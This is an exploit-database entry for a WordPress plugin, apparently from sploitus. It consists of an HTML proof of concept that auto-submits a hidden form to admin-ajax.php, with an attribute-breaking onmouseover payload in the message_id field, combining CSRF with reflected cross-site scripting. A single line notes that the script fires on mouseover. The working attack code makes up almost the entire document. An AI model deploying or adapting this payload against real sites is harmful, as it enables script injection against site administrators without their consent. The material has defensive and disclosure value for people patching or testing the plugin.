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## https://sploitus.com/exploit?id=WPEX-ID:BECA7AFD-8F03-4909-BEA0-77B63513564B
<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" id="hack" method="POST">
      <input type="hidden" name="action" value="get_message_action_row" />
      <input type="hidden" name="message_id" value='" onmouseover=alert(/XSS/) test="' />
      <input type="submit" value="Submit request" />
    </form>
  </body>

  <script>
    var form1 = document.getElementById('hack');
    form1.submit();
</script>
</html>

The XSS will be triggered when moving the mouse over the text in the response